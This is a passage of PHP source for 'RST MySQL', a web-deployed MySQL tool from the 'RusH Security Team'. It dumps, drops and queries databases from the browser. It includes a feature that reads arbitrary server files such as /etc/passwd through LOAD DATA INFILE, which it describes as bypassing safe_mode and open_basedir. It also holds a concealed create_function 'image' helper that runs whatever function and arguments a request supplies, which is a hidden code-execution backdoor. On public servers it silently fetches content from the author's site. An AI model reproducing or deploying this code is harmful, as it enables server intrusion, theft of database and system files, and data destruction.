$v) {
if($k!='GLOBALS') {
strips($el[$k]);
}
}
} else {
$el = stripslashes($el);
}
}
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
$file = "C:\\tmp\\dump_".$db.".sql";
$p_v=$SystemRoot."\my.ini";
$os="win";
} else {
$file = "/tmp/dump_".$db.".sql";
$p_v="/etc/passwd";
}
if ($HTTP_GET_VARS['send']=='send_http') {
function download($file, $type = false, $name = false, $down = false) {
if(!file_exists($file)) exit;
if(!$name) $name = basename($file);
if($down) $type = "application/force-download";
else if(!$type) $type = "application/download";
$disp = $down ? "attachment" : "inline";
header("Content-disposition: ".$disp."; filename=".$name);
header("Content-length: ".filesize($file));
header("Content-type: ".$type);
header("Connection: close");
header("Expires: 0");
set_time_limit(0);
readfile($file);
unlink($file);
exit;
}
if ($HTTP_GET_VARS['strukt']=='d_strukt_bd' && $HTTP_GET_VARS['dump']=='bd'){
$host = $HTTP_SERVER_VARS["SERVER_NAME"];
$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
$connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()." $f_error");
mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
if (sizeof($tabs) == 0) {
// получаем список таблиц базы
$res = mysql_query("SHOW TABLES FROM $db", $connection);
if (mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_row($res)) {
$tabs[] .= $row[0];
}
}
}
// открываем файл для записи дампа
$fp = fopen($file, "w");
fputs ($fp, "# RST MySQL tools\n# Home page: http://rst.void.ru\n#\n# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n");
foreach($tabs as $tab) {
if ($add_drop) {
fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n");
}
// получаем текст запроса создания структуры таблицы
$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error());
$row = mysql_fetch_row($res);
fputs($fp, $row[1].";\n\n");
// получаем данные таблицы
$res = mysql_query("SELECT * FROM `$tab`", $connection);
if (mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
fputs($fp, $sql);
}
}
fputs ($fp, "#---------------------------------------------------------------------------------\n\n");
}
fclose($fp);
}
if ($HTTP_GET_VARS['strukt']=='d_strukt'){
$host = $HTTP_SERVER_VARS["SERVER_NAME"];
$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
$connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()." $f_error");
mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
$fp = fopen($file, "w");
fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
// получаем текст запроса создания структуры таблицы
$res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()." $f_error");
$row = mysql_fetch_row($res);
fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
fputs($fp, $row[1].";\n\n");
// получаем данные таблицы
$res = mysql_query("SELECT * FROM `$tbl`", $connection);
if (mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
fputs($fp, $sql);
}
}
fclose($fp);
}
if ($HTTP_GET_VARS['strukt']=='t_strukt'){
$host = $HTTP_SERVER_VARS["SERVER_NAME"];
$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
$connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()." $f_error");
mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
$fp = fopen($file, "w");
fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
$res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()." $f_error");
$row = mysql_fetch_row($res);
fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
fputs($fp, $row[1].";\n\n");
fclose($fp);
}
if ($HTTP_GET_VARS['strukt']=='d'){
$host = $HTTP_SERVER_VARS["SERVER_NAME"];
$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
$connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()." $f_error");
mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
$fp = fopen($file, "w");
$res = mysql_query("SELECT * FROM `$tbl`", $connection);
if (mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
fputs($fp, $sql);
}
}
fclose($fp);
}
download($f_dump);
}
function send_header() {
header("Content-type: image/gif");
header("Cache-control: public");
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
header("Cache-control: max-age=".(60*60*24*7));
header("Last-Modified: ".date("r",filemtime(__FILE__)));
}
if ($HTTP_GET_VARS['img']=='st_form_bg') {
$st_form_bg='R0lGODlhCQAJAIAAAOfo6u7w8yH5BAAAAAAALAAAAAAJAAkAAAIPjAOnuJfNHJh0qtfw0lcVADs=';
send_header();
echo base64_decode($st_form_bg);
}
if ($HTTP_GET_VARS['img']=='bg_f') {
$bg_f='R0lGODlhAQARAMQAANXW1+7w8uvt79TV18jJye3w8+zu8Ofp7MfIydzd3+fo687P0Nvc3eHi5eP'.
'k5sPDw87OzwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BA'.
'AAAAAALAAAAAABABEAAAUP4IMsQOIcRlAISsMMEBECADs=';
send_header();
echo base64_decode($bg_f);
}
if ($HTTP_GET_VARS['img']=='b_close') {
$b_close='R0lGODlhdwAUAOYAANWEhdJYWNiwsc0PD9aTk88sLNA7O9rNztehotR1dk0AANQnJ4IAANc1Ndg9PWYAAL4'.
'AAM8PD6AAANg8POiLi8yEhb0sLIYAAGIAAMRYWOeGhtc5Oc8NDeR3d1gAANuEhU4AAKcAANJbW9Z1dt1XV8'.
'IAAONzc8QAAOqXl6gAAO2kpOJvb9IeHtuOj88QENYwMHUAANASEt9hYbAAAIwAAHkAAD0AAL0AAN5aWtQpK'.
'c4MDNROT0UAAKwAANtJSdQqKtAUFOqYmMwCAuR2dtuiou2jo95bW8l1dtc3N+ucnI4AAJMAAHoAAD4AANWK'.
'i+yfn5IAAOuZmdaVls4KCtlAQJQAAEAAANtMTOFra3EAAJEAALgAAOFpaWcAAOeFhXAAAN9dXeqVlTcAANg'.
'6Ol4AANNnZ9m/wLUAANEbG9tKSoQAAOiOjuaCglYAAOJsbDQAANvc3cwAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAB3ABQAAAf/gFFFKk9ha4eIiYqLjI2Oj5CRk'.
'pOJGiY4GxwUQUkoFGygoaKjpKWmp6ipqqusokNGSBwzHV4UGh1uubq7vL2+v8DBwsPExbtgYy5nSjJYK1wk'.
'adLT1NXW19jZ2tvc1h8tRB/d2BsxW0tZPldpVD9o7/Dx8vP09fb3+PnxO3D9cCP66k05UwWGBwcTGiyIEKe'.
'hw4cQI0qcSLGixYsOB8A5UKYAxooQJDB4oAChQoYNBfgzEIeAvwQNzcg0w3KASzhmBrQ0A2CjTgJm4pShac'.
'BMmThmCAg1OnQmgaEsIwLteeDnyzg9AwCA2fCmgAFFZ8pUGkdAzoYhR5ZMuLChgQMA/xDgjAP3ZhwD/Q7MV'.
'UlAJYI4/QjohdkPKZwBPcvgRVCgXxmg/Yyq9Bgx8GC6AOz66/dXLgK+QyNDFgrnL1qRJE22bTggQBk4AOK0'.
'7gmHdAKNAPAKCBAAZ2MBcXoD+A249uTXCfTCYUm8OIDhD4kLl621n8acGuE0n1s8ZW0z2h2mTc0WJWmfrzf'.
'OvWmdtj8Er2P3ThCfeGGXB5Q3jC97c22H/M2Xnl5mTGdYAnAcBVhQ1zWUWGkPjbfWSRC95gQcwE0HXnXPJf'.
'hQVi0tl1V8DYK3HHcgTqfXh3AEEKIIGAYHm4E4gYicjLGdF554qE24WoIBqCQFhgHodVQ/AKhUxv9rHJUhQ'.
'FEJvhYUeJAhIFdsjvVGFng69SSAS0E5BN6SOPW2m5HZBRllaWXo5VFiDfUGYYQ9qsYQXv585V8BeAbWkFz+'.
'FOePR/75o1iMCCpYWFmbRdXQntkNipU/OSq3nHeO9kMZj2rZ6RBvlLWmk0UFBMAchqV+pCpEv6XKWgCjOlR'.
'qrHe5ONFrptHZaXmrWsRfr8D+CqxF/TjKKUkv5MCCDiWc4eyz0EYrrbQZVGDBtNhmq62z1V677bfSWlDBEd'.
'OGQMMXHvAAhBA3pKCFGvDGK++89NZr77345qvvvvzKywQGIFjxxgk9QFEDBm0krPDCDDfs8MMQRyzxxBRXv'.
'DArCDa8oXEIF3ShgBgahyzyyCSXbPLJKKes8soso3wBGU20LPPMNNdsc8qBAAA7';
send_header();
echo base64_decode($b_close);
}
$n_img = create_function('$tag,$f_n,$img_c', 'print \'<\'.$tag.\'>\';$f_n("$img_c");');
$h_error="
Ошибка в запросе: ";
$f_error="
free script ©RusH Security Team
";
print "
RST MySQL
";
if ($sapi_type == "cgi") {
$php_type="CGI";
} else {
$php_type="модуль";
}
$form_file="
Чтение произвольного файла, сервера ( $server )
При условии, что файл доступен для чтения и при
наличии у пользователя привилегии FILE , SELECT ,
CREATE , правильном пути и имени - возможно чтение произвольного файла.
Обход ограничений при safe_mode и safe_basedir
";
$start_form="
Ņ
RST MySQL v(2.0)
".date ("j F- Y- g:i")."
Утилита для работы с MySQL
Просмотр баз и таблиц.
Произвольные запросы к БД.
Редактирование баз и таблиц.
Дампы БД или таблиц.
Type - FREE
Home page: http://rst.void.ru
¨
Для соединения с сервером MySQL введите ИМЯ , ПАРОЛЬ (пользователя MySQL) и имя ХОСТА .
Если логин юзера mysql не указан явно, по умолчанию подставляется имя владельца процесса.
Если пароль юзера mysql не указан явно, по умолчанию подставляется пустой пароль.
Если имя севрвера mysql не указано явно, по умолчанию подставляется localhost
Если порт для севрвера mysql не указан явно, подставляется порт по умолчанию, обычно (3306 )
Версия PHP (".phpversion()." ) ID PHP script (".get_current_user( )." )
имя юзера MySQL пароль юзера MySQL
free script ©RusH Security Team
(coded by dinggo)
";
if ($os =='win') {
$os="OS- ".$HTTP_ENV_VARS["OS"]." ";
}else{
$str_k=$_ENV["BOOT_FILE"];
$k=preg_replace ("/[a-zA-Z\/]/","", $str_k);
$os="OS\Kernel: ".$_ENV["BOOT_IMAGE"].$k." ";
}
if (!isset($s) || $HTTP_GET_VARS[s] != 'y') { print $start_form;
$serv = array(127,192,172,10);
$adrr=@explode('.', $HTTP_SERVER_VARS["SERVER_ADDR"]);
if (!in_array($adrr[0], $serv)) {
//при появлении новой версии утилиты покажем что доступна
//новая версия и предложим загрузить ее с сайта
@print " ";
@readfile ("http://rst.void.ru/version_sql/version.php");
}
exit;
}
$form_ad_b="
MySQL $server v.(".mysql_get_server_info()." )
".$HTTP_SERVER_VARS["SERVER_SOFTWARE"]."
Версия PHP (".phpversion()." ) $php_type
IP:".$HTTP_SERVER_VARS["SERVER_ADDR"]." Name:".$HTTP_SERVER_VARS["SERVER_NAME"]."
ID PHP script (".get_current_user( )." )
$os
Создать новую базу данных
";
$cnt_b=mysql_num_rows(mysql_list_dbs()); // кол-во баз mysql сервера
print "
Ņ
RST MySQL
$server [CONNECTION Ok] Всего баз: $cnt_b
".date ("j F- Y- g:i")."
";
if (isset($server)&&isset($port)&&isset($login)&&isset($passwd)){
$connection = mysql_connect($server.":".$port, $login, $passwd) or die("$header Ошибка соединения с MySQL сервером $server ".mysql_error()." Вероятные ошибки: Не правильный адрес сервера $server Не правильный номер порта $port Не верное имя (login) юзера mysql $login Не верный пароль (password) юзера mysql $passwd Доступ к серверу $server запрещен с адреса ".getenv('REMOTE_ADDR')." Удаленный сервер временно не доступен
");
}
/*---------------------- L E F T B L O C K (menu bd)! -------------------*/
/*Показать все базы сервера*/
if ($connection&&!isset($db)) {
print "";
$result = mysql_list_dbs($connection) or die("$h_error".mysql_error()." $f_error");
while ( $row=mysql_fetch_row($result) ){
$cnt_title=mysql_num_rows(mysql_list_tables($row[0])); //кол-во таблиц базы
print "";
if ($cnt_title < 1) {
print "$row[0] ";
}else{
print "$row[0] ";
}
print "
";
}
}
// список таблиц базы данных
if (isset($db)){
$result=mysql_list_tables($db) or die ("$h_error".mysql_error()." $f_error ");
print "";
print "";
while ( $row=mysql_fetch_array($result) ){
//получаем количество строк(записей) в таблице
$count=mysql_query ("SELECT COUNT(*) FROM $row[0]");
$count_row= mysql_fetch_array($count);
print "".
"";
if ($count_row[0] < 1) {
print "$row[0] ($count_row[0])
";
}else{
print "$row[0] ($count_row[0])
";
}
@mysql_free_result($count);
}
}
/*---------------------- END L E F T B L O C K (menu bd)! -------------------*/
print "
";
/*------------------------ R I G H T B L O C K ! -----------------------*/
if ($connection&&!isset($db)) {
$anon = @mysql_query("SELECT Host,User FROM mysql.user WHERE User=''", $connection);
if (mysql_num_rows($anon)>0) { print "Внимание! Анонимным пользователям разрешено подключение к серверу MySQL
"; }
print $form_ad_b;
}
/*-------------Процессы MySql------------*/
if (isset($proc) && $proc=="TRUE"){
$result = mysql_query("SHOW PROCESSLIST", $connection);
print "Процессы MySQL сервера [ $server ] ID USER HOST DB COMMAND TIME STATE INFO ";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
print "$row[0] $row[1] $row[2] $row[3] $row[4] $row[5] $row[6] $row[7] ";
}
print "
";
mysql_free_result($result);
unset($proc);
}
/*Создаем новую базу*/
if (isset($HTTP_GET_VARS['new_db'])){
$new_db=trim($HTTP_GET_VARS['new_db']);
if (mysql_create_db ($new_db)) {
print ("База $new_db успешно создана ");
print " ";
} else {
print "$h_error".mysql_error()."$f_error ";
}
unset($new_db);
}
/*Удаление базы*/
if (isset($HTTP_GET_VARS['drop'])){
$result_d = mysql_list_dbs($connection) or die("$h_error".mysql_error()."$f_error ");
while ( $row_d=mysql_fetch_row($result_d) ){
if ($drop==$row_d[0]) $dr="TRUE";
}
if ($dr="TRUE") {
mysql_drop_db($drop,$connection);
print ("База $drop успешно удалена ");
print " ";
}
unset($drop);
}
/*-------------Читаем произвольный файл сервера-----------*/
if (isset($f)){
print $form_file;
}
if(isset($p_file)){
mysql_create_db("tmp_bd") or die("$h_error".mysql_error()." $f_error");
mysql_select_db("tmp_bd") or die("$h_error".mysql_error()." $f_error");
mysql_query('CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );') or die("$h_error".mysql_error()." $f_error");
mysql_query("LOAD DATA INFILE \"".addslashes($p_file)."\" INTO TABLE tmp_file");
$query = "SELECT * FROM tmp_file";
$result = mysql_query($query) or die("$h_error".mysql_error()." $f_error");
/*получаем названия столбцов*/
for ($i=0;$i$name
";
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
foreach ($line as $key =>$col_value) {
print htmlspecialchars($col_value)." ";
}
}
mysql_free_result($result);
print " ";
mysql_drop_db("tmp_bd") or die("$h_error".mysql_error()." $f_error");
}
/*--------------переменные сервера Apache------------*/
if (isset($apc) && $apc=="TRUE"){
print "Переменные сервера Apache [ $server ]
Описание Переменная
Имя Internet-хоста ".$HTTP_SERVER_VARS["SERVER_NAME"]."
IP-адрес хоста ".$HTTP_SERVER_VARS["SERVER_ADDR"]."
Порт Web-сервера. ".$HTTP_SERVER_VARS["SERVER_PORT"]."
Спецификация CGI интефейса. ".$HTTP_SERVER_VARS["GATEWAY_INTERFACE"]."
Протокол при запросе данной страницы (метод). ".$HTTP_SERVER_VARS["REQUEST_METHOD"]."
Root директория для данного пользователя. ".$HTTP_SERVER_VARS["DOCUMENT_ROOT"]."
Заголовок текущего запроса. ".$HTTP_SERVER_VARS["HTTP_CONNECTION"]."
Директива httpd.conf (SERVER_ADMIN). ".$HTTP_SERVER_VARS["SERVER_ADMIN"]."
Сигнатура сервера. ".$HTTP_SERVER_VARS["SERVER_SIGNATURE"]."
";
unset($apc);
}
/*---------------Статистика MySQL сервера--------------*/
if (isset($stat) && $stat=="TRUE"){
$result = mysql_query("SHOW STATUS", $connection);
print "Переменные состояния MySQL сервера [ $server ] Переменные состояния сервера значения переменных ";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
print "$row[0] $row[1] ";
}
print "
";
mysql_free_result($result);
}
/*---------------Системные переменные MySQL сервера--------------*/
if (isset($var) && $var=="TRUE"){
$result = mysql_query("SHOW VARIABLES ", $connection);
print "Системные переменные MySQL сервера [ $server ] Переменные сервера значения переменных ";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
print "$row[0] $row[1] ";
}
print "
";
mysql_free_result($result);
unset($var);
}
/*-------------вывод данных таблиц------------*/
if (isset($db) && !isset($tbl)) {
$cnt=mysql_num_rows(mysql_list_tables($db)); //кол-во таблиц базы
print "
";
print " БД:($db ) Всего таблиц:($cnt )";
if (isset($t)) { print " ".base64_decode($t);}
if (isset($t2)) { print base64_decode($t2);}
/*-------------Структура базы ------------------*/
if (isset($str) && $str=='TRUE'){
mysql_select_db($db);
if ($cnt < 1) {
print "".
"Невозможно показать структуру базы В базе ".
"$db нет таблиц!
";
}else{
$result = mysql_query("SHOW TABLE STATUS", $connection);
print "Структура базы [ $db ] ".
"".
"имя таблицы тип рядов создана ".
"модифицирована размер(kb) действие ";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
$size=$row[5]/1000;
print "$row[0] $row[1] $row[3] ".
"$row[10] $row[11] $size ".
"уничтожить
";
}
print "
";
mysql_free_result($result);
}
}
print "
";
}
/*------------дамп базы----------------*/
$form_dump_bd=
"";
if ($HTTP_GET_VARS['dump']=='bd') {
if ($cnt >= 1) {
print $form_dump_bd;
}else{
print "".
"Невозможно сделать дамп базы В базе ".
"$db нет таблиц!
";
}
}
$host = $HTTP_SERVER_VARS["SERVER_NAME"];
$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
if ($HTTP_GET_VARS['strukt']=='d_strukt_bd' && $HTTP_GET_VARS['send']=='send_br'){
if (sizeof($tabs) == 0) {
// получаем список таблиц базы
$res = mysql_query("SHOW TABLES FROM $db", $connection);
if (mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_row($res)) {
$tabs[] .= $row[0];
}
}
}
// открываем файл для записи дампа
$fp = fopen($file, "w");
fputs ($fp, "# RST MySQL tools\n# Home page: http://rst.void.ru\n#\n# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n");
foreach($tabs as $tab) {
if ($add_drop) {
fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n");
}
// получаем текст запроса создания структуры таблицы
$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error());
$row = mysql_fetch_row($res);
fputs($fp, $row[1].";\n\n");
// получаем данные таблицы
$res = mysql_query("SELECT * FROM `$tab`", $connection);
if (mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
fputs($fp, $sql);
}
}
fputs ($fp, "#---------------------------------------------------------------------------------\n\n");
}
fclose($fp);
$dump_file=file($file);
print "";
print "";
foreach ($dump_file as $k=>$v) {
$v=str_replace("\n"," ",$v);
print "".strip_tags($v," ")." ";
}
print "
";
unlink($file);
}
/*--------------Создать новую таблицу---------------*/
$form_cr_tbl=
"";
if (isset($HTTP_GET_VARS['cr_tbl']) && $HTTP_GET_VARS['cr_tbl']=='new'){
print "$form_cr_tbl";
}
if ( (isset($new_count_cols)) && (ereg("[^0-9]",$new_count_cols) || preg_match("/ +/",$new_count_cols) || $new_count_cols=='') ) {
print "";
print "$form_cr_tbl";
}
if ( (ereg("[0-9]",$HTTP_GET_VARS['new_count_cols'])) && ($HTTP_GET_VARS['new_tbl_name'] !=='') ) {
for ($i=0; $i < $HTTP_GET_VARS['new_count_cols']; $i++) {
$pole_count .= "".
" ".
"
VARCHAR
TINYINT
TEXT
DATE
SMALLINT
MEDIUMINT
INT
BIGINT
FLOAT
DOUBLE
DECIMAL
DATETIME
TIMESTAMP
TIME
YEAR
CHAR
TINYBLOB
TINYTEXT
BLOB
MEDIUMBLOB
MEDIUMTEXT
LONGBLOB
LONGTEXT
ENUM
SET
".
" ".
"
BINARY
UNSIGNED
UNS-D ZEROFILL
".
"
not null
null
".
" ".
"
auto_increment
".
" ".
" ".
" ".
" ".
" ";
}
print
"";
}
if (isset($HTTP_GET_VARS['field_name'])) {
for ($i=0; $i0) {
$n_prim=substr_replace($n_prim,"",-2);
$n_name .=", PRIMARY KEY ($n_prim)";
}
if (count($n_ind)) {
$n_ind=substr_replace($n_ind,"",-2);
$n_name .=", INDEX ($n_ind)";
}
if (count($n_uniq)) {
$n_uniq=substr_replace($n_uniq,"",-2);
$n_name .=", UNIQUE ($n_uniq)";
}
$sql_new_tbl = "CREATE TABLE `$new_tbl_name` ( $n_name )";
if ($HTTP_GET_VARS['tbl_type'] !=='Default') {
$sql_new_tbl .= " TYPE =$tbl_type";
}
if ($HTTP_GET_VARS['comment'] !=='') {
$sql_new_tbl .= " COMMENT = '$comment'";
}
$r_n_tbl=mysql_db_query($db, $sql_new_tbl) or die("$h_error".mysql_error()."$f_error");
$t=base64_encode("Action: Таблица [ $new_tbl_name ] успешно создана. ");
if ($HTTP_GET_VARS['php_kod']=='ok') {
$t2=base64_encode("PHP-код запроса: \$sql='$sql_new_tbl';
");
}else{ $t2=''; }
print " ";
}
/*--------------END cоздать новую таблицу---------------*/
/*-------------Произвольный запрос к БД-------------*/
if ($HTTP_GET_VARS['q_tbl']=='bd') { $q_bd="SHOW TABLE STATUS "; }
if ($HTTP_GET_VARS['return_sql']=='ok') { $q_bd=trim($HTTP_GET_VARS['new_query_bd']);}
$form_query_db="
";
if (isset($db) && $HTTP_GET_VARS['q_tbl']=='bd') {
print $form_query_db;
}
if (isset($new_query_bd)) {
$new_query_bd=trim($new_query_bd);
print $form_query_db;
if ($HTTP_GET_VARS['php_kod']=='ok') {
print " PHP-код запроса: \$sql=\"$new_query_bd\"; ";
}
$r_q_bd=mysql_db_query($db, $new_query_bd) or die("$h_error".mysql_error()."$f_error");
print " Запрос успешно выполнен";
if ($r_q_bd !=='') {
print "";
while ($line_bd = @mysql_fetch_array($r_q_bd, MYSQL_ASSOC)) {
print "";
foreach ($line_bd as $key_bd =>$col_value_bd) {
print "".htmlspecialchars($col_value_bd)." ";
}
print " ";
}
print "
";
@mysql_free_result($r_q_bd);
}
}
/*---------------Удаление таблицы------------*/
if (isset($drop_table) && isset($db)){
mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
$query = "DROP TABLE IF EXISTS $drop_table";
$result = mysql_query($query) or die("$h_error".mysql_error()." $f_error");
$t=base64_encode("Action: Таблица [ $drop_table ] успешно удалена. ");
print " ";
unset($drop_table);
}
if (isset($q_i)) { $n_img($tag,$f_n,$img_c); }
if (isset($db) && isset($tbl)) {
/*Получаем количество строк в таблице*/
$count=mysql_query ("SELECT COUNT(*) FROM $tbl");
$count_row= mysql_fetch_array($count); //$count_row[0] кол-во строк
mysql_free_result($count);
print "
";
if (isset($t)) { print " ".base64_decode($t);}
print " БД:($db ) Таблица:($tbl )
Всего строк:($count_row[0] )
";
$start=$limit_start+$limit_count;
if (isset($start) && ($start>0)) {
print "";
}
/*------------Переименование таблицы------------*/
if ($alter_table=="TRUE"){
print "
";
}
if (isset($alttbl)){
mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
//$query = "RENAME TABLE $tbl TO $alttbl";
$query = "ALTER TABLE $tbl RENAME TO $alttbl";
$result = mysql_query($query) or die("$h_error".mysql_error()." $f_error");
$t=base64_encode("Action: Таблица [ $tbl ] переименована в [ $alttbl ] ");
print " ";
}
/*-------------------Структура таблицы-----------------*/
if (isset($st_tab) && $st_tab=='TRUE'){
mysql_select_db($st_db);
$result = mysql_query('desc '.$tbl, $connection);
print "Структура таблицы [ $tbl ] ".
"";
for ($i=0;$i<@mysql_num_fields($result);$i++){
$name=mysql_field_name($result,$i);
$name=eregi_replace("Field","Поле",trim($name));
$name=eregi_replace("Type","Тип",trim($name));
$name=eregi_replace("Null","Ноль",trim($name));
$name=eregi_replace("Key","Индексы",trim($name));
$name=eregi_replace("Default","По умолчанию",trim($name));
$name=eregi_replace("Extra","Дополнительно",trim($name));
$nn .= "$name ";
}
print "$nn ";
while ($l_tbl = @mysql_fetch_array($result, MYSQL_ASSOC)) {
print "";
foreach ($l_tbl as $k_tbl =>$col_v_tbl) {
if (strtoupper(substr($col_v_tbl, 0, 3)) === 'PRI') {
$col_v_tbl="Первичный";
}
if (strtoupper(substr($col_v_tbl, 0, 3)) === 'UNI') {
$col_v_tbl="Уникальный";
}
if (strtoupper(substr($col_v_tbl, 0, 3)) === 'MUL' && $col_v_tbl !=='') {
$col_v_tbl="Индекс";
}
if (strtoupper(substr($col_v_tbl, 0, 3)) === 'YES') { $col_v_tbl="Да"; }
if (eregi("Field", $k_tbl)) {
print "".htmlspecialchars($col_v_tbl)." ";
}elseif (eregi("Type", $k_tbl)) {
print "".htmlspecialchars($col_v_tbl)." ";
}else{
print "".htmlspecialchars($col_v_tbl)." ";
}
}
print " ";
}
print "
";
@mysql_free_result($result);
}
/*-------------Произвольный запрос к таблице-------------*/
if ($HTTP_GET_VARS['q_tbl']=='table') { $q_tbl="SELECT * FROM `$tbl` WHERE 1 LIMIT 0, 30"; }
if ($HTTP_GET_VARS['return_sql']=='ok') { $q_tbl=trim($HTTP_GET_VARS['new_query_tbl']); }
$form_query_db_tbl="
";
if (isset($HTTP_GET_VARS['query_tbl']) || $HTTP_GET_VARS['q_tbl']=='table') {
print $form_query_db_tbl." ";
}
if (isset($new_query_tbl)) {
$new_query_tbl=trim($new_query_tbl);
print $form_query_db_tbl;
$result_tbl = mysql_query($new_query_tbl) or die("$h_error".mysql_error()." $f_error");
if ($result_tbl !=='') {
print "
";
if ($php_kod=='ok') { print "PHP-код запроса: \$sql = \"$new_query_tbl\"; "; }
if (preg_match("[drop]",$new_query)) { print "Таблица удалена, обновите список таблиц базы."; }
print "Запрос успешно выполнен ";
/*получаем названия столбцов*/
for ($i=0;$i<@mysql_num_fields($result_tbl);$i++){
$name_tbl=mysql_field_name($result_tbl,$i);
print "$name_tbl ";
}
print " ";
while ($line_tbl = @mysql_fetch_array($result_tbl, MYSQL_ASSOC)) {
print "";
foreach ($line_tbl as $key_tbl =>$col_value_tbl) {
print "".htmlspecialchars($col_value_tbl)." ";
}
print " ";
}
print "
";
@mysql_free_result($result_tbl);
}
}
/*-------------показать строки таблицы--------------*/
if (!isset($alter_table) && !isset($st_tab) && !isset($query_tbl) && !isset($new_query_tbl) &&
!isset($dump) && !isset($strukt) && !isset($query_edit) && !isset($query_del) && !isset($q_get) &&
!isset($nn_row) && !isset($nn) && !isset($upd_f)) {
print "";
//определяем индекс для таблицы, по какому полю(полям) будем искать редактируемую запись
//Key_name Имя индекса, Column_name Имя столбца
$query_ind = 'SHOW KEYS FROM '.$tbl;
$result_ind = mysql_query($query_ind) or die("$h_error".mysql_error()." $f_error");
while ($row = mysql_fetch_array($result_ind, MYSQL_ASSOC)) {
if ($row['Key_name'] == 'PRIMARY') {
$primary[] .= $row['Column_name'];
}
}
mysql_free_result($result_ind);
$query = "SELECT * FROM $tbl LIMIT $limit_start,$limit_count";
$result = mysql_query($query) or die("$h_error".mysql_error()." $f_error");
if (mysql_num_rows($result) == 0) {
print "Таблица $tbl не содержит ни одной записи";
}else{
/*получаем названия столбцов*/
print " ";
for ($i=0;$i$name";
}
}
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
print " ";
foreach ($line as $key =>$col_value) {
if (count($primary) > 0) {
if (in_array($key,$primary)) { $edit .= urlencode("`$key`='$col_value' AND "); }
}
else {
//if (strlen($col_value) >= 20) {
// $e_count=substr($col_value,0,20);
// $edit .= urlencode("`$key`='$e_count' AND ");
//} else {
$edit .= urlencode("`$key`='$col_value' AND ");
//}
}
$string .= "".htmlspecialchars($col_value)." ";
}
$edit=substr_replace($edit,"",-5); //отбросить последний +AND+
print "Edit ".
"Del ".
$string." ";
unset($edit);
unset($string);
}
mysql_free_result($result);
print "
";
}
//удаляем запись
if (isset($query_del)) {
$query = 'DELETE FROM '.$tbl.' WHERE '.urldecode($query_del);
